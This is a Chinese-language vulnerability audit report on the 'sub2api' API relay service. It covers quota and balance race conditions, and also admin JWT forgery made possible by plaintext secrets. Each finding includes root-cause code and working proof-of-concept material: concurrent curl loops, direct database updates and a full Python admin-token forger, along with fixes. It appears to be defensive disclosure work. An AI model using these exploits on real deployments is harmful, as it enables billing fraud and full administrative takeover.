如下
漏洞 D1：订阅模式并发超额消费（配额穿透）
风险等级：高危　位置：订阅计费链路（准入校验 + 用量累加）　类型：业务逻辑 / 竞争条件

描述
sub2api 的订阅（subscription）分组会按日 / 周 / 月下发用量配额。配额判定发生在请求准入阶段，但实际费用是在上游响应返回后的异步计费任务里累加的。准入判定只比较 "历史已用量" 与限额，不包含本次请求的预估成本，且用量累加语句没有任何上限守卫。因此在同一时间窗内并发发起多个请求时，每个请求都会看到同一份 "尚未超限" 的旧用量快照并全部放行，最终用量可成倍突破配额。

叠加因素：订阅模式完全没有在途余额 / 配额预留——handler/gateway_inflight_reservation.go:77 对订阅分组直接返回 inflightNoop，而余额模式至少还有 Redis 在途预留兜底。

根因
// handler/gateway_inflight_reservation.go:77 —— 订阅模式放弃在途预留
if apiKey.Group != nil && apiKey.Group.IsSubscriptionType() && subscription != nil {
return ctx, inflightNoop, nil
}
// service/subscription_service.go:1037 —— 只比 "已用量"，additionalCost 恒传 0
if !sub.CheckDailyLimit(group, 0) {
return needsMaintenance, ErrDailyLimitExceeded
}
-- repository/user_subscription_repo.go:471-484 —— 累加无上限守卫
UPDATE user_subscriptions us
SET daily_usage_usd = us.daily_usage_usd + $1,
weekly_usage_usd = us.weekly_usage_usd + $1,
monthly_usage_usd = us.monthly_usage_usd + $1,
updated_at = NOW()
WHERE us.id = $2 AND us.deleted_at IS NULL ...
复现前置
订阅型分组：groups.subscription_type='subscription'，daily_limit_usd=0.1
目标用户有该分组的有效 user_subscriptions 行
该分组下有可用上游账号；用户 API Key 绑定该分组
清掉订阅缓存 billing:sub:<uid>:<gid>（否则旧快照会先把你 403 掉）
PoC
BASE=http://127.0.0.1:8080
SKEY="PH:SUB_KEY" # 绑定订阅分组的 key
uid=PH:USER_ID; gid=PH:GROUP_ID

1) 清零用量并清缓存，避免旧快照干扰

docker exec sub2api-postgres psql -U sub2api -d sub2api -c
"UPDATE user_subscriptions SET daily_usage_usd=0,weekly_usage_usd=0,monthly_usage_usd=0 WHERE user_id=$uid;"
docker exec sub2api-redis redis-cli -a "PH:REDIS_PASSWORD" --no-auth-warning del "billing:sub:$uid:$gid"

2) 并发 20 发（每发约 0.078 USD，日限额仅 0.1）

M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}'
for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages
-H "Authorization: Bearer $SKEY" -H 'Content-Type: application/json' -d "$M" &
done | sort | uniq -c
wait; sleep 7

3) 读结果

docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc
"select daily_usage_usd from user_subscriptions where user_id=$uid"
实测结果（本实例）
20 200 ← 20 发全部放行，0 个被拦
日用量: 1.5600000000 / 限额 0.1 ← 超出 15.6 倍
订阅计费请求: 20 笔
串行对照（同一环境，逐发）：第 1、2 发 200（此时已用量 0.078 ≤ 0.1），第 3 发起 429 DAILY_LIMIT_EXCEEDED。说明即使不并发也必然多放一份，并发只是把倍数放大到 N。

影响
订阅用户可用一份配额消耗 N 份上游额度（N ≈ 并发数）。对按量采购上游的运营方，这是直接的现金流损失；对转售场景，等于订阅套餐失去定价意义。

修复建议
订阅模式接入在途预留（按 max_tokens × 输出单价 估算，Redis 原子扣减）；
或在 IncrementUsage 上加条件守卫：... WHERE daily_usage_usd + $1 <= <limit>，受影响行数为 0 即拒绝；
准入时把 additionalCost 传成预估成本，而不是 0。
漏洞 D2：余额模式并发透支（余额可被扣成负数）
风险等级：高危　位置：余额扣减 + 网关准入　类型：业务逻辑 / 竞争条件

描述
余额扣减函数在 "余额足够" 分支失败后，会落到一个无条件扣减的兜底分支，直接把余额扣成负数。而网关准入只判断 balance <= 0，成本又在响应后才结算。两者叠加后，一个只剩" 一次请求的钱 "的账户并发发起 N 个请求，N 个请求都会通过准入并各自计费，最终余额远超应付额度。系统随后只会用 <= 0 拦住" 下一批 " 请求，已经发生的消费不可追回。

根因
// repository/user_repo.go:883 —— 先条件扣，扣不动就无条件扣（透支策略）
n, err := client.User.Update().
Where(dbuser.IDEQ(id), dbuser.BalanceGTE(amount)).
AddBalance(-amount).Save(ctx)
if n > 0 {return nil}

n, err = client.User.Update(). // ← 余额不足也照扣，余额变负
Where(dbuser.IDEQ(id)).
AddBalance(-amount).Save(ctx)
// server/middleware/api_key_auth.go:397 —— 只拦 "已经没钱"
func apiKeyBalanceBelowAuthThreshold(balance float64, _ *config.Config) bool {
return balance <= 0
}
复现前置
余额模式（标准）分组，用户 API Key 已绑定
该分组下有可用上游账号
已知单次请求成本（本文用 0.078 USD）
PoC
BASE=http://127.0.0.1:8080
KEY="PH:API_KEY"; uid=PH:USER_ID; COST=0.078

1) 余额精确设为 "恰好够一次"

docker exec sub2api-postgres psql -U sub2api -d sub2api -c
"UPDATE users SET balance=$COST WHERE id=$uid;"

2) 并发 10 发

M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}'
for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages
-H "Authorization: Bearer $KEY" -H 'Content-Type: application/json' -d "$M" &
done | sort | uniq -c
wait; sleep 6

3) 读结果

docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc
"select balance from users where id=$uid;
select count(*), sum(actual_cost) from usage_logs where user_id=$uid and created_at>now()-interval'2 minutes';"
实测结果（本实例）
10 200 ← 10 发全部放行
余额: 0.07800000 -> -0.70200000 ← 被扣成负数
新增计费: 10 笔 本轮费用: 0.78 USD ← 应付 0.078，实付 0.78
即：支付 1 份钱，消耗 11 份用量（含此前 1 次基准请求），透支倍数 ≈ 11×。

影响
用户在余额见底前并发 "抢跑"，一次性薅走 N 倍额度后弃号，损失不可回收；
负余额账户在下一次请求即被 403，但已消费部分无法追偿；
与 "自抹 key 限额"（quota=0 + reset_quota）组合，可把透支窗口拉得更长。
修复建议
兜底分支改为返回错误或写入 "欠款" 并把 users.status 置为 disabled；
准入阶段按预估成本做在途预留，并强制 fail_closed_on_unpriced=true（未定价模型不再 fail-open）；
计费结算改为 WHERE balance >= cost 的条件更新，失败即拒单。
漏洞 P1：部署密钥明文暴露 → 伪造管理员 JWT → 任意篡改用户余额
风险等级：严重（可直接接管全站）　位置：部署配置 + JWT 签发 / 校验　类型：凭证泄露 → 认证绕过 → 越权

描述
部署目录下的 .env 与 data/config.yaml 以明文同时保存了数据库口令、Redis 口令、JWT_SECRET 和 TOTP_ENCRYPTION_KEY。由于 JWT 使用 HS256 对称签名，拿到 JWT_SECRET 即可在离线状态下自行签发任意角色的访问令牌；而 token_version 是由 email + password_hash 派生的确定性值（数据库可读），会话绑定的 bnd 字段留空时校验直接放行。三条特性叠加，攻击者无需任何用户口令即可构造出管理员令牌，进而调用管理接口任意修改用户余额、读取全站数据、变更系统配置。

根因

/www/wwwroot/sub2api/data/config.yaml（.env 同源）

database:
password: PH:POSTGRES_PASSWORD
redis:
password: PH:REDIS_PASSWORD
jwt:
secret: PH:JWT_SECRET
totp:
encryption_key: PH:TOTP_ENCRYPTION_KEY
// service/auth_service.go:1944-1947 —— token_version 可由 公开字段 + password_hash 推导
material := strings.ToLower(strings.TrimSpace(user.Email)) + "\n" + user.PasswordHash
sum := sha256.Sum256([]byte(material))
fingerprint := int64(binary.BigEndian.Uint64(sum[:8]) & 0x7fffffffffffffff)
return user.TokenVersion ^ fingerprint
// server/middleware/session_binding.go:71 —— bnd 为空即跳过会话绑定
if claims == nil || claims.BindingHash == "" {
return true
}
复现前置
能读取 config.yaml 或 .env（目录穿越、备份泄露、插件 / 模板读取、或其他文件读取面）
或直接拿到数据库口令（同一文件内，一次泄露即全拿）
PoC

forge_jwt.py —— 离线签发管理员令牌

import base64, hmac, hashlib, json, struct, time

SECRET = "PH:JWT_SECRET" # config.yaml: jwt.secret
EMAIL = "PH:ADMIN_EMAIL" # users.email where role='admin'
PW_HASH = "PH:ADMIN_PASSWORD_HASH" # users.password_hash
UID, ROLE = PH:ADMIN_UID, "admin"

b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=")
fp = struct.unpack(">q", hashlib.sha256((EMAIL.lower()+"\n"+PW_HASH).encode()).digest()[:8])[0] & 0x7fffffffffffffff
now = int(time.time())
claims = {"user_id": UID, "email": EMAIL, "role": ROLE, "token_version": fp,
"sid": "deadbeefcafe0001", # 任意
# 不写 bnd → 会话绑定校验直接放行
"exp": now+86400, "nbf": now, "iat": now}
h = b64(b'{"alg":"HS256","typ":"JWT"}')
p = b64(json.dumps(claims, separators=(",",":")).encode())
s = b64(hmac.new(SECRET.encode(), h+b"."+p, hashlib.sha256).digest())
print((h+b"."+p+b"."+s).decode())
TOKEN=$(python3 forge_jwt.py)

验证管理员身份

curl -s -o /dev/null -w '%{http_code}\n'-H"Authorization: Bearer $TOKEN"
http://127.0.0.1:8080/api/v1/admin/settings # 200

任意修改余额（set / add / subtract）

curl -s -X POST http://127.0.0.1:8080/api/v1/admin/users/PH:USER_ID/balance
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json'
-d '{"balance":888,"operation":"set"}' # 200

或完全绕过应用层

PGPASSWORD=PH:POSTGRES_PASSWORD psql -h 127.0.0.1 -U sub2api -d sub2api
-c "UPDATE users SET balance=888 WHERE id=PH:USER_ID;"
实测结果（本实例）
GET /api/v1/admin/settings -> 200
GET /api/v1/admin/users/3/balance-history -> 200
POST /api/v1/admin/users/3/balance -> 200
数据库: [email protected] | 888.00000000
余额变更会触发 trg_users_auth_cache_invalidation，Redis 缓存同步失效，改完立即生效，无需重启。

影响
全站任意用户余额可改（含管理员自身）、可提权、可读全站数据（用户、API Key、用量、支付订单、审计日志）；
可修改系统设置：开启注册、改支付渠道商户号、改回调地址、植入自定义页面内容；
data/ 整体挂载进容器（./data:/app/data），一次读取即同时暴露配置与运行数据。